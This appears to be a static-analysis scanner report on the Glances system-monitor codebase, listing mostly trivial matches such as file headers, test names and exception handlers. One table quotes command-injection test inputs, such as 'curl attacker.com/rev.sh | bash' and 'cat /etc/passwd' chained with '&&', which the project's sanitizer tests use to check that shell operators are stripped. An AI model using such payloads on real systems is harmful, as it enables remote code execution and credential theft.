Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, Mac OS and Windows operating systems.
1212 matches across 13 categories. Click a row to expand file-level details.
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | tests/test_export_influxdb_v1.sh | 33 | # Create the glances database |
| MEDIUM | tests/test_core.py | 1028 | # Create a test plugin with MMM enabled |
| MEDIUM | tests/test_core.py | 1167 | # Create a list of stats |
| MEDIUM | tests/test_plugin_virsh_injection.py | 3 | # This file is part of Glances. |
| MEDIUM | tests/test_outdated.py | 3 | # This file is part of Glances. |
| MEDIUM | tests/test_export_timescaledb.sh | 27 | # Create the glances database |
| MEDIUM | tests/test_xmlrpc.py | 3 | # This file is part of Glances. |
| MEDIUM | tests/test_mcp.py | 3 | # This file is part of Glances. |
| MEDIUM | tests/test_export_influxdb_v3.sh | 18 | # Create the token |
| MEDIUM | tests/test_export_influxdb_v3.sh | 24 | # Create a new configuration for the test |
| MEDIUM | tests/test_export_influxdb_v3.sh | 28 | # Create the glances database |
| MEDIUM | tests/test_duckdb_sanitize.py | 107 | # Create a target table that the injection would try to drop |
| MEDIUM | docs/conf.py | 5 | # This file is execfile()d with the current directory set to its |
| MEDIUM | glances/amps_list.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/stats_client.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/client_browser.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/standalone.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/event.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/server.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/web_list.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/attribute.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/servers_list_dynamic.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/servers_list_dynamic.py | 88 | # Create an instance of the servers list |
| MEDIUM | glances/config.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/config.py | 125 | """This class is used to access/read config file, if it exists. |
| MEDIUM | glances/thresholds.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/webserver.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/stats_server.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/stats_client_snmp.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/stats_client_snmp.py | 51 | # Create an instance of the SNMP client |
| MEDIUM | glances/timer.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/globals.py | 3 | # This file is part of Glances. |
| MEDIUM | glances/client.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/events_list.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/events_list.py | 285 | # Define the automatic process sort key |
| MEDIUM | glances/events_list.py | 288 | # Create the new log item |
| MEDIUM | glances/events_list.py | 356 | # Create a new clean list |
| MEDIUM | glances/secure.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/actions.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/__init__.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/__init__.py | 185 | # Create the Glances main instance |
| MEDIUM | glances/logger.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/logger.py | 26 | # Define the glances log file |
| MEDIUM | glances/logger.py | 40 | # Define the logging configuration |
| MEDIUM | glances/stats_streamer.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/processes.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/servers_list_static.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/programs.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/password_list.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/stats.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/snmp.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/cpu_percent.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/filter.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/outdated.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/outdated.py | 152 | # Create the cache directory |
| MEDIUM | glances/jwt_utils.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/password.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/password.py | 110 | # Create the glances directory |
| MEDIUM | glances/main.py | 2 | # This file is part of Glances. |
| MEDIUM | glances/servers_list.py | 2 | # This file is part of Glances. |
| 160 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | tests/test_actions_sanitize.py | 47 | def test_empty_dict_returns_empty(self): |
| LOW | tests/test_actions_sanitize.py | 56 | def test_strips_double_ampersand(self): |
| LOW | tests/test_actions_sanitize.py | 68 | def test_strips_append_redirect(self): |
| LOW | tests/test_actions_sanitize.py | 74 | def test_strips_multiple_operators(self): |
| LOW | tests/test_actions_sanitize.py | 83 | def test_preserves_int_values(self): |
| LOW | tests/test_actions_sanitize.py | 88 | def test_preserves_float_values(self): |
| LOW | tests/test_actions_sanitize.py | 93 | def test_preserves_none_values(self): |
| LOW | tests/test_actions_sanitize.py | 98 | def test_preserves_bool_values(self): |
| LOW | tests/test_actions_sanitize.py | 103 | def test_preserves_list_values(self): |
| LOW | tests/test_actions_sanitize.py | 108 | def test_clean_string_unchanged(self): |
| LOW | tests/test_actions_sanitize.py | 114 | def test_does_not_mutate_original(self): |
| LOW | tests/test_actions_sanitize.py | 133 | def test_pipe_injection_in_process_name(self): |
| LOW | tests/test_actions_sanitize.py | 144 | def test_chain_injection_in_container_name(self): |
| LOW | tests/test_actions_sanitize.py | 158 | def test_redirect_injection_in_mount_point(self): |
| LOW | tests/test_actions_sanitize.py | 168 | def test_append_redirect_injection(self): |
| LOW | tests/test_actions_sanitize.py | 250 | def test_run_sanitizes_chain_in_mustache(self, actions): |
| LOW | tests/test_actions_sanitize.py | 264 | def test_run_sanitizes_redirect_in_mustache(self, actions): |
| LOW | tests/test_actions_sanitize.py | 222 | def test_run_with_safe_values(self, actions): |
| LOW | tests/test_actions_sanitize.py | 233 | def test_run_sanitizes_pipe_in_mustache(self, actions): |
| LOW | tests/test_actions_sanitize.py | 278 | def test_run_preserves_template_operators(self, actions): |
| LOW | tests/test_actions_sanitize.py | 295 | def test_run_preserves_template_redirect(self, actions): |
| LOW | tests/test_actions_sanitize.py | 310 | def test_run_preserves_template_chain(self, actions): |
| LOW | tests/test_actions_sanitize.py | 324 | def test_run_does_not_execute_when_already_triggered(self, actions): |
| LOW | tests/test_actions_sanitize.py | 336 | def test_run_repeats_when_repeat_true(self, actions): |
| LOW | tests/test_browser_tui.py | 143 | def test_serverlist_section_exists(self, browser_config): |
| LOW | tests/test_browser_tui.py | 146 | def test_passwords_section_exists(self, browser_config): |
| LOW | tests/test_browser_tui.py | 190 | def test_server_type_is_static(self, servers_list): |
| LOW | tests/test_browser_tui.py | 194 | def test_server_initial_status(self, servers_list): |
| LOW | tests/test_browser_tui.py | 198 | def test_server_default_username(self, servers_list): |
| LOW | tests/test_browser_tui.py | 202 | def test_server_default_empty_password(self, servers_list): |
| LOW | tests/test_browser_tui.py | 215 | def test_host_specific_password(self, servers_list): |
| LOW | tests/test_browser_tui.py | 225 | def test_no_password_without_default(self): |
| LOW | tests/test_browser_tui.py | 264 | def test_uri_without_password(self, servers_list): |
| LOW | tests/test_browser_tui.py | 352 | def test_uri_dynamic_uses_ip_not_name(self, servers_list): |
| LOW | tests/test_browser_tui.py | 403 | def test_get_connect_host_static(self, servers_list): |
| LOW | tests/test_browser_tui.py | 407 | def test_get_connect_host_dynamic(self, servers_list): |
| LOW | tests/test_browser_tui.py | 411 | def test_get_preconfigured_password_static(self, servers_list): |
| LOW | tests/test_browser_tui.py | 415 | def test_get_preconfigured_password_dynamic_returns_none(self, servers_list): |
| LOW | tests/test_browser_tui.py | 419 | def test_get_preconfigured_password_dynamic_no_default(self, servers_list): |
| LOW | tests/test_browser_tui.py | 433 | def test_attacker_advertised_server_no_credential_leak(self, servers_list): |
| LOW | tests/test_browser_tui.py | 293 | def test_uri_protected_uses_saved_password(self, servers_list): |
| LOW | tests/test_browser_tui.py | 310 | def test_uri_protected_default_fallback(self, servers_list): |
| LOW | tests/test_browser_tui.py | 325 | def test_uri_static_uses_name_not_ip(self, servers_list): |
| LOW | tests/test_browser_tui.py | 367 | def test_uri_dynamic_protected_no_saved_password(self, servers_list): |
| LOW | tests/test_browser_tui.py | 385 | def test_uri_dynamic_no_default_password_fallback(self, servers_list): |
| LOW | tests/test_json_serializer.py | 107 | def test_normalize_primitives(self): |
| LOW | tests/test_json_serializer.py | 133 | def test_serialize_plugin_data_none(self): |
| LOW | tests/test_json_serializer.py | 137 | def test_serialize_plugin_data_bytes_json(self): |
| LOW | tests/test_json_serializer.py | 144 | def test_serialize_plugin_data_bytes_invalid_json(self): |
| LOW | tests/test_json_serializer.py | 149 | def test_serialize_plugin_data_dict(self): |
| LOW | tests/test_json_serializer.py | 171 | def test_serialize_plugins_empty_list(self): |
| LOW | tests/test_json_serializer.py | 178 | def test_serialize_plugins_with_data(self): |
| LOW | tests/test_json_serializer.py | 192 | def test_serialize_plugins_plugin_not_enabled(self): |
| LOW | tests/test_json_serializer.py | 203 | def test_serialize_plugins_plugin_not_found(self): |
| LOW | tests/test_json_serializer.py | 211 | def test_serialize_plugins_with_metadata(self): |
| LOW | tests/test_json_serializer.py | 223 | def test_serialize_to_string_produces_valid_json(self): |
| LOW | tests/test_json_serializer.py | 237 | def test_serialize_handles_unicode(self): |
| LOW | tests/test_json_serializer.py | 247 | def test_serializer_with_errors_disabled(self): |
| LOW | tests/test_json_serializer.py | 262 | def test_serializer_with_errors_enabled(self): |
| LOW | tests/test_json_serializer.py | 276 | def test_multiple_plugins_one_fails(self): |
| 390 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | tests/test_actions_sanitize.py | 36 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_actions_sanitize.py | 38 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_actions_sanitize.py | 125 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_actions_sanitize.py | 127 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_actions_sanitize.py | 177 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_actions_sanitize.py | 179 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_actions_sanitize.py | 206 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_actions_sanitize.py | 208 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 135 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 137 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 207 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 209 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 232 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 234 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 256 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 258 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 341 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 343 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 425 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 427 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 31 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 33 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 101 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 103 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 163 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_tui.py | 165 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_core.py | 67 | # ================= |
| MEDIUM | tests/test_core.py | 80 | # ============== |
| MEDIUM | tests/test_plugin_virsh_injection.py | 37 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_plugin_virsh_injection.py | 39 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_plugin_virsh_injection.py | 54 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_plugin_virsh_injection.py | 56 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_plugin_virsh_injection.py | 152 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_plugin_virsh_injection.py | 154 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 130 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 132 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 139 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 141 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 181 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 183 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 266 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 268 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 31 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 33 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 53 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 55 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 102 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 104 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 216 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_browser_restful.py | 218 | # --------------------------------------------------------------------------- |
| MEDIUM | tests/test_api.py | 17 | # ================= |
| MEDIUM | tests/test_mcp.py | 380 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 382 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 413 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 415 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 428 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 430 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 489 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 491 | # ------------------------------------------------------------------ |
| MEDIUM | tests/test_mcp.py | 520 | # ------------------------------------------------------------------ |
| 39 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | tests/test_core.py | 227 | except Exception as e: |
| LOW | tests/test_core.py | 233 | except Exception as e: |
| LOW | tests/test_outdated.py | 88 | except Exception: |
| LOW | tests/test_plugin_sensors.py | 282 | except Exception as e: |
| LOW | tests/test_plugin_sensors.py | 292 | except Exception as e: |
| LOW | tests/test_plugin_sensors.py | 304 | except Exception as e: |
| LOW | .claude/skills/new-export.md | 66 | except Exception as e: |
| LOW | .claude/skills/new-export.md | 86 | except Exception as e: |
| MEDIUM | tests-data/tools/csvcheck.py | 23 | print("Error: CSV file is empty") |
| MEDIUM | tests-data/tools/csvcheck.py | 35 | print(f"Error: Expected {expected_lines} lines, but found {row_count}") |
| MEDIUM | tests-data/tools/csvcheck.py | 42 | print("Error: Not all rows have the same number of columns") |
| MEDIUM | tests-data/tools/csvcheck.py | 52 | print(f"Error: Expected {expected_columns} columns, but found {header_columns}") |
| MEDIUM | tests-data/tools/csvcheck.py | 59 | print(f"Error: File '{input_file}' not found") |
| LOW | tests-data/tools/csvcheck.py | 61 | except Exception as e: |
| MEDIUM | tests-data/tools/csvcheck.py | 62 | print(f"Error processing CSV file: {str(e)}") |
| MEDIUM | tests-data/tools/csvcheck.py | 15 | def check_csv(input_file, expected_lines, expected_columns=None): |
| MEDIUM | tests-data/tools/duckdbcheck.py | 25 | print(f"Error: Expected {expected_lines} CPU lines, but found {row_count}") |
| MEDIUM | tests-data/tools/duckdbcheck.py | 33 | print(f"Error: Expected {expected_lines} Network lines, but found {row_count}") |
| MEDIUM | tests-data/tools/duckdbcheck.py | 39 | print(f"Error: File '{input_file}' not found") |
| LOW | tests-data/tools/duckdbcheck.py | 41 | except Exception as e: |
| MEDIUM | tests-data/tools/duckdbcheck.py | 42 | print(f"Error processing DuckDB file: {str(e)}") |
| MEDIUM | tests-data/tools/duckdbcheck.py | 16 | def check_duckdb(input_file, expected_lines, expected_columns=None): |
| LOW | glances/amps_list.py | 60 | except Exception as e: |
| LOW | glances/server.py | 62 | except Exception: |
| LOW | glances/server.py | 229 | except Exception as e: |
| LOW | glances/servers_list_dynamic.py | 226 | except Exception as e: |
| LOW | glances/stats_client_snmp.py | 99 | except Exception as e: |
| LOW | glances/globals.py | 169 | except Exception as e: |
| LOW | glances/globals.py | 226 | except Exception as e: |
| LOW | glances/client.py | 70 | except Exception as e: |
| LOW | glances/client.py | 245 | except Exception: |
| LOW | glances/client.py | 290 | except Exception: |
| LOW | glances/stats_streamer.py | 64 | except Exception as e: |
| LOW | glances/processes.py | 124 | except Exception as e: |
| LOW | glances/processes.py | 135 | except Exception as e: |
| LOW | glances/processes.py | 817 | except Exception as e: |
| LOW | glances/stats.py | 116 | except Exception as e: |
| LOW | glances/stats.py | 234 | except Exception as e: |
| LOW | glances/cpu_percent.py | 253 | except Exception as e: |
| LOW | glances/filter.py | 130 | except Exception as e: |
| LOW | glances/outdated.py | 25 | except Exception as e: |
| LOW | glances/outdated.py | 131 | except Exception as e: |
| LOW | glances/outdated.py | 166 | except Exception as e: |
| LOW | glances/outdated.py | 178 | except Exception as e: |
| LOW | glances/servers_list.py | 183 | except Exception as e: |
| LOW | glances/folder_list.py | 108 | except Exception: |
| LOW | glances/amps/systemv/__init__.py | 61 | except Exception as e: |
| LOW | glances/amps/default/__init__.py | 70 | except Exception as e: |
| LOW | glances/plugins/processlist/__init__.py | 193 | except Exception: |
| LOW | glances/plugins/sensors/__init__.py | 118 | except Exception as e: |
| LOW | glances/plugins/sensors/__init__.py | 156 | except Exception as e: |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 32 | except Exception as e: |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 50 | except Exception as e: |
| LOW | glances/plugins/sensors/sensor/glances_hddtemp.py | 134 | except Exception as e: |
| LOW | glances/plugins/diskio/__init__.py | 149 | except Exception: |
| LOW | glances/plugins/gpu/__init__.py | 90 | except Exception as e: |
| LOW | glances/plugins/gpu/__init__.py | 97 | except Exception as e: |
| LOW | glances/plugins/gpu/__init__.py | 106 | except Exception as e: |
| LOW | glances/plugins/gpu/__init__.py | 115 | except Exception as e: |
| LOW | glances/plugins/gpu/cards/nvidia.py | 35 | except Exception as e: |
| 137 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | tests/test_plugin_load.py | 0 | test that get_items_history_list returns the history items. |
| HIGH | tests/test_plugin_cpu.py | 0 | test that get_items_history_list returns the history items. |
| HIGH | tests/test_plugin_memswap.py | 0 | test that get_items_history_list returns the history items. |
| HIGH | tests/test_plugin_processcount.py | 0 | test that get_items_history_list returns the history items. |
| HIGH | tests/test_plugin_mem.py | 0 | test that get_items_history_list returns the history items. |
| HIGH | tests/test_plugin_load.py | 0 | test that msg_curse returns properly formatted entries. |
| HIGH | tests/test_plugin_cpu.py | 0 | test that msg_curse returns properly formatted entries. |
| HIGH | tests/test_plugin_processcount.py | 0 | test that msg_curse returns properly formatted entries. |
| HIGH | tests/test_plugin_mem.py | 0 | test that msg_curse returns properly formatted entries. |
| HIGH | tests/test_plugin_network.py | 0 | test that msg_curse returns empty without max_width. |
| HIGH | tests/test_plugin_fs.py | 0 | test that msg_curse returns empty without max_width. |
| HIGH | tests/test_plugin_diskio.py | 0 | test that msg_curse returns empty without max_width. |
| HIGH | tests/test_plugin_sensors.py | 0 | test that msg_curse returns empty without max_width. |
| HIGH | glances/servers_list_dynamic.py | 0 | set the key to the value for the server_pos (position in the list). |
| HIGH | glances/servers_list_dynamic.py | 0 | set the key to the value for the server_pos (position in the list). |
| HIGH | glances/servers_list_dynamic.py | 0 | set the key to the value for the server_pos (position in the list). |
| HIGH | glances/servers_list_static.py | 0 | set the key to the value for the server_pos (position in the list). |
| HIGH | glances/plugins/system/__init__.py | 0 | return the string to display in the curse interface. |
| HIGH | glances/plugins/now/__init__.py | 0 | return the string to display in the curse interface. |
| HIGH | glances/plugins/cloud/__init__.py | 0 | return the string to display in the curse interface. |
| HIGH | glances/plugins/uptime/__init__.py | 0 | return the string to display in the curse interface. |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | requirements.txt | 1 | # This file was autogenerated by uv via the following command: |
| LOW | dev-requirements.txt | 1 | # This file was autogenerated by uv via the following command: |
| LOW | dev-requirements.txt | 21 | # reuse |
| LOW | dev-requirements.txt | 41 | cffi==2.0.0 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy' |
| LOW | dev-requirements.txt | 61 | colorama==0.4.6 |
| LOW | dev-requirements.txt | 81 | # sphinx-rtd-theme |
| LOW | dev-requirements.txt | 101 | # via matplotlib |
| LOW | dev-requirements.txt | 121 | # via |
| LOW | dev-requirements.txt | 141 | jsonschema-specifications==2025.9.1 |
| LOW | dev-requirements.txt | 161 | mdurl==0.1.2 |
| LOW | dev-requirements.txt | 181 | # opentelemetry-instrumentation-requests |
| LOW | dev-requirements.txt | 201 | # opentelemetry-exporter-otlp-proto-http |
| LOW | dev-requirements.txt | 221 | # pytest |
| LOW | dev-requirements.txt | 241 | # opentelemetry-proto |
| LOW | dev-requirements.txt | 281 | # webdriver-manager |
| LOW | dev-requirements.txt | 301 | # webdriver-manager |
| LOW | dev-requirements.txt | 341 | # sphinx-rtd-theme |
| LOW | dev-requirements.txt | 361 | # via sphinx |
| LOW | dev-requirements.txt | 381 | trio==0.33.0 |
| LOW | dev-requirements.txt | 401 | # pyright |
| LOW | dev-requirements.txt | 421 | # semgrep |
| LOW | docker-requirements.txt | 1 | # This file was autogenerated by uv via the following command: |
| LOW | docker-requirements.txt | 21 | # requests |
| LOW | docker-requirements.txt | 41 | exceptiongroup==1.2.2 ; python_full_version < '3.11' |
| LOW | docker-requirements.txt | 61 | # via glances |
| LOW | docker-requirements.txt | 81 | # via cffi |
| LOW | docker-requirements.txt | 101 | python-dotenv==1.2.2 |
| LOW | docker-requirements.txt | 121 | # requests-toolbelt |
| LOW | docker-requirements.txt | 141 | # fastapi |
| LOW | docker-requirements.txt | 161 | # fastapi |
| LOW | all-requirements.txt | 1 | # This file was autogenerated by uv via the following command: |
| LOW | all-requirements.txt | 21 | # via glances |
| LOW | all-requirements.txt | 41 | click==8.1.8 |
| LOW | all-requirements.txt | 61 | elastic-transport==9.4.0 |
| LOW | all-requirements.txt | 81 | humanfriendly==10.0 |
| LOW | all-requirements.txt | 101 | # via glances |
| LOW | all-requirements.txt | 141 | # via bernhard |
| LOW | all-requirements.txt | 161 | # pydantic-settings |
| LOW | all-requirements.txt | 181 | pyreadline3==3.5.6 ; sys_platform == 'win32' |
| LOW | all-requirements.txt | 201 | python-dotenv==1.2.2 |
| LOW | all-requirements.txt | 221 | # jsonschema |
| LOW | all-requirements.txt | 241 | # via python-jose |
| LOW | all-requirements.txt | 261 | # via |
| LOW | all-requirements.txt | 281 | # pyjwt |
| LOW | all-requirements.txt | 301 | # elastic-transport |
| LOW | .readthedocs.yaml | 21 | # Fail on all warnings to avoid broken references |
| LOW | tests/test_core.py | 941 | print('INFO: [TEST_104] Test memswap plugin methods') |
| LOW | tests/test_api.py | 1 | #!/usr/bin/env python |
| LOW | docs/conf.py | 1 | # |
| LOW | docs/conf.py | 21 | # sys.path.insert(0, os.path.abspath('.')) |
| LOW | docs/conf.py | 61 | copyright = f'{year}, {author}' |
| LOW | docs/conf.py | 81 | # today = '' |
| LOW | docs/conf.py | 101 | # output. They are ignored by default. |
| LOW | docs/conf.py | 121 | html_theme = 'sphinx_rtd_theme' |
| LOW | docs/conf.py | 141 | |
| LOW | docs/conf.py | 161 | # If true, SmartyPants will be used to convert quotes and dashes to |
| LOW | docs/conf.py | 181 | # If true, links to the reST sources are added to the pages. |
| LOW | docs/conf.py | 201 | # 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr' |
| LOW | docs/conf.py | 221 | # 'pointsize': '10pt', |
| LOW | docs/conf.py | 241 | # latex_use_parts = False |
| 43 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | tests/test_actions_sanitize.py | 57 | d = {'name': 'web && curl evil.com'} |
| HIGH | tests/test_actions_sanitize.py | 75 | d = {'name': 'foo|bar && baz > qux >> end'} |
| HIGH | tests/test_actions_sanitize.py | 147 | 'name': 'web && curl attacker.com/rev.sh | bash && echo ', |
| HIGH | tests/test_actions_sanitize.py | 189 | assert secure_popen('echo -n A && echo -n B') == 'AB' |
| HIGH | tests/test_actions_sanitize.py | 259 | mustache_dict={'name': 'web && cat /etc/passwd'}, |
| HIGH | tests/test_actions_sanitize.py | 145 | """Simulate: container name contains && to chain commands.""" |
| HIGH | tests/test_plugin_virsh_injection.py | 91 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' |
| HIGH | tests/test_plugin_virsh_injection.py | 133 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' |
| HIGH | tests/test_plugin_virsh_injection.py | 166 | domain = 'foo && touch /tmp/should-not-happen | tee >x' |
| HIGH | tests/test_plugin_virsh_injection.py | 184 | domain = 'titletest && cmd | x > y unique-arg-shape' |
| HIGH | glances/plugins/containers/__init__.py | 531 | # Only process if stats exist (and non null) and display plugin enable... |
| HIGH | glances/plugins/vms/__init__.py | 209 | # Only process if stats exist (and non null) and display plugin enable... |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | tests/test_core.py | 91 | |
| LOW | tests/test_restful.py | 110 | |
| LOW | tests-data/tools/csvcheck.py | 15 | |
| LOW | glances/stats_client.py | 32 | |
| LOW | glances/standalone.py | 33 | |
| LOW | glances/web_list.py | 31 | |
| LOW | glances/config.py | 182 | |
| LOW | glances/config.py | 346 | |
| LOW | glances/globals.py | 302 | |
| LOW | glances/globals.py | 430 | |
| LOW | glances/globals.py | 530 | |
| LOW | glances/globals.py | 677 | |
| LOW | glances/globals.py | 746 | |
| LOW | glances/globals.py | 768 | |
| LOW | glances/client.py | 157 | |
| LOW | glances/__init__.py | 125 | |
| LOW | glances/servers_list_static.py | 27 | |
| LOW | glances/stats.py | 148 | |
| LOW | glances/ports_list.py | 28 | |
| LOW | glances/amps/amp.py | 58 | |
| LOW | glances/amps/systemv/__init__.py | 54 | |
| LOW | glances/amps/systemd/__init__.py | 57 | |
| LOW | glances/plugins/memswap/__init__.py | 70 | |
| LOW | glances/plugins/wifi/__init__.py | 139 | |
| LOW | glances/plugins/processlist/__init__.py | 957 | |
| LOW | glances/plugins/sensors/__init__.py | 192 | |
| LOW | glances/plugins/sensors/__init__.py | 207 | |
| LOW | glances/plugins/sensors/__init__.py | 340 | |
| LOW | glances/plugins/gpu/cards/arm.py | 201 | |
| LOW | glances/plugins/gpu/cards/arm.py | 293 | |
| LOW | glances/plugins/plugin/model.py | 345 | |
| LOW | glances/plugins/plugin/model.py | 472 | |
| LOW | glances/plugins/plugin/model.py | 803 | |
| LOW | glances/plugins/plugin/model.py | 904 | |
| LOW | glances/plugins/plugin/model.py | 1306 | |
| LOW | glances/plugins/plugin/model.py | 1309 | |
| LOW | glances/plugins/npu/cards/intel.py | 94 | |
| LOW | glances/plugins/npu/cards/rockchip.py | 90 | |
| LOW | glances/plugins/npu/cards/amd.py | 98 | |
| LOW | glances/plugins/system/__init__.py | 82 | |
| LOW | glances/plugins/system/__init__.py | 182 | |
| LOW | glances/plugins/system/__init__.py | 228 | |
| LOW | glances/plugins/raid/__init__.py | 68 | |
| LOW | glances/plugins/percpu/__init__.py | 143 | |
| LOW | glances/plugins/folders/__init__.py | 98 | |
| LOW | glances/plugins/containers/engines/podman.py | 78 | |
| LOW | glances/plugins/containers/engines/lxd.py | 164 | |
| LOW | glances/plugins/ports/__init__.py | 169 | |
| LOW | glances/exports/export.py | 163 | |
| LOW | glances/exports/export.py | 263 | |
| LOW | glances/exports/export.py | 297 | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 35 | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 121 | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 199 | |
| LOW | glances/exports/glances_timescaledb/__init__.py | 90 | |
| LOW | glances/exports/glances_mqtt/__init__.py | 111 | |
| LOW | glances/exports/glances_duckdb/__init__.py | 94 | |
| LOW | glances/outputs/glances_stdout_issue.py | 65 | |
| LOW | glances/outputs/glances_curses_browser.py | 148 | |
| LOW | glances/outputs/glances_stdout_csv.py | 50 | |
| 3 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | tests/test_core.py | 341 | # Check if number of processes in the list equal counter |
| LOW | tests/test_core.py | 859 | # Check if history_max_size=3 is OK |
| LOW | tests/test_core.py | 999 | # Set field to 0 (should be hidden) |
| LOW | tests/test_core.py | 1005 | # Set field to 0 (should be hidden) |
| LOW | tests/test_core.py | 1011 | # Set field to 1 (should not be hidden) |
| LOW | tests/test_export_prometheus.sh | 17 | # Check if we can access the Prometheus metrics endpoint |
| LOW | tests/test_restful.py | 84 | # Check if result of first call is equal to second call |
| LOW | glances/web_list.py | 98 | # Add the server to the list |
